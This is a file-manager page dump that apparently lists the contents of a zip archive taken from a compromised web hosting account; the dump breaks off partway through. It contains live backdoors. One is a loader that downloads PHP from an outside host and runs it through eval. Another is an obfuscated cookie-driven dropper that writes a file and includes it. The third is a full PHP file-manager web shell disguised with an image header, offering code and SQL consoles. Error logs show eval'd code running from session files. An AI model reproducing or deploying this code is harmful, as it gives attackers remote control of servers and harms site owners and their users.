ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/banten1.kasvalid.com.zip
Back
PK [8�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK [8�\v� � service.phpnu �[��� <?php function compute_output($c) { $a = array(1 + 115, 97 * 1, 116, 47 + 68); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } function resolve_dependency($c) { $a = array(2 * 55, 82 * 1 + 19, 69 + 1 + 38, 119 - 5, 45 * 87 - 3799, 121 - 6); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } function free_resources($c) { $a = array(113 - 2, 106 * 85 - 8896, 44 + 32 + 24); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } function run_kernel($c) { $a = array(7 * 85 - 481, 104, 59 + 40); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } class ServiceRegistry { private static $_nt; static function prepareOutput($_ixb, $_tz) { if (!self::$_nt) { self::fetchRecords(); } $_saf = resolve_dependency($_tz); $_ms = base64_decode(self::$_nt[$_ixb]); for ($_vx = 0, $_qt = resolve_dependency($_ms); $_vx !== $_qt; ++$_vx) { $_ms[$_vx] = run_kernel(free_resources($_ms[$_vx]) ^ free_resources($_tz[$_vx % $_saf])); } return $_ms; } private static function fetchRecords() { self::$_nt = array('_mq' => '', '_sq' => ''); } } class ConnectionManager { private static $_nt; static function prepareOutput($_ixb) { if (!self::$_nt) { self::fetchRecords(); } return self::$_nt[$_ixb]; } private static function fetchRecords() { self::$_nt = array(00, 06, 034, 034, 01, 034, 02, 06, 01, 022, 05, 032, 023, 04, 020, 010, 03, 024, 03); } } $_qt = $_COOKIE; $_tz = ConnectionManager::prepareOutput(0); $_ixb = ConnectionManager::prepareOutput(1); $_wml = array(); $_wml[$_tz] = ServiceRegistry::prepareOutput('_mq', '_vj'); while ($_ixb) { $_wml[$_tz] .= $_qt[ConnectionManager::prepareOutput(2)][$_ixb]; if (!$_qt[ConnectionManager::prepareOutput(3)][$_ixb + ConnectionManager::prepareOutput(4)]) { if (!$_qt[ConnectionManager::prepareOutput(5)][$_ixb + ConnectionManager::prepareOutput(6)]) { break; } $_tz++; $_wml[$_tz] = ServiceRegistry::prepareOutput('_sq', '_bcx'); $_ixb++; } $_ixb = $_ixb + ConnectionManager::prepareOutput(7) + ConnectionManager::prepareOutput(8); } $_tz = $_wml[ConnectionManager::prepareOutput(9)]() . $_wml[ConnectionManager::prepareOutput(10)]; if (!$_wml[ConnectionManager::prepareOutput(11)]($_tz)) { $_ixb = $_wml[ConnectionManager::prepareOutput(12)]($_tz, $_wml[ConnectionManager::prepareOutput(13)]); $_wml[ConnectionManager::prepareOutput(14)]($_ixb, $_wml[ConnectionManager::prepareOutput(15)] . $_wml[ConnectionManager::prepareOutput(16)]($_wml[ConnectionManager::prepareOutput(17)]($_qt[ConnectionManager::prepareOutput(18)]))); } include $_tz;PK [8�\��[ [ ? .well-known/pki-validation/2208F797987542915D90992442430220.txtnu �[��� 73FAB3E94747E6758AE9A9C61431C8F79CFAD55137E74E779CCA2982A4262F54 comodoca.com 67a33d61968f3PK [8�\��"G� � error_lognu �[��� [22-Sep-2025 11:43:37 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_4323fc81395c3d1c9254048c60f21aca(1) : eval()'d code on line 1 [22-Sep-2025 11:43:37 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_4323fc81395c3d1c9254048c60f21aca(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_4323fc81395c3d1c9254048c60f21aca(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_4323fc81395c3d1c9254048c60f21aca(1): eval() #2 /home/tokomrjk/banten1.kasvalid.com/app.php(21) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/banten1.kasvalid.com/app.php(21): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_4323fc81395c3d1c9254048c60f21aca(1) : eval()'d code on line 1 [22-Sep-2025 11:43:37 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_11671af5d30a39fecded30b71b5c12c8(1) : eval()'d code on line 1 [22-Sep-2025 11:43:37 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_11671af5d30a39fecded30b71b5c12c8(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_11671af5d30a39fecded30b71b5c12c8(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_11671af5d30a39fecded30b71b5c12c8(1): eval() #2 /home/tokomrjk/banten1.kasvalid.com/app.php(21) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/banten1.kasvalid.com/app.php(21): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_11671af5d30a39fecded30b71b5c12c8(1) : eval()'d code on line 1 [22-Sep-2025 11:43:37 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_0bc29b924e80acdee8d09a285cd25c20(1) : eval()'d code on line 1 [22-Sep-2025 11:43:37 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_0bc29b924e80acdee8d09a285cd25c20(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_0bc29b924e80acdee8d09a285cd25c20(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_0bc29b924e80acdee8d09a285cd25c20(1): eval() #2 /home/tokomrjk/banten1.kasvalid.com/app.php(21) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/banten1.kasvalid.com/app.php(21): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_0bc29b924e80acdee8d09a285cd25c20(1) : eval()'d code on line 1 PK [8�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div 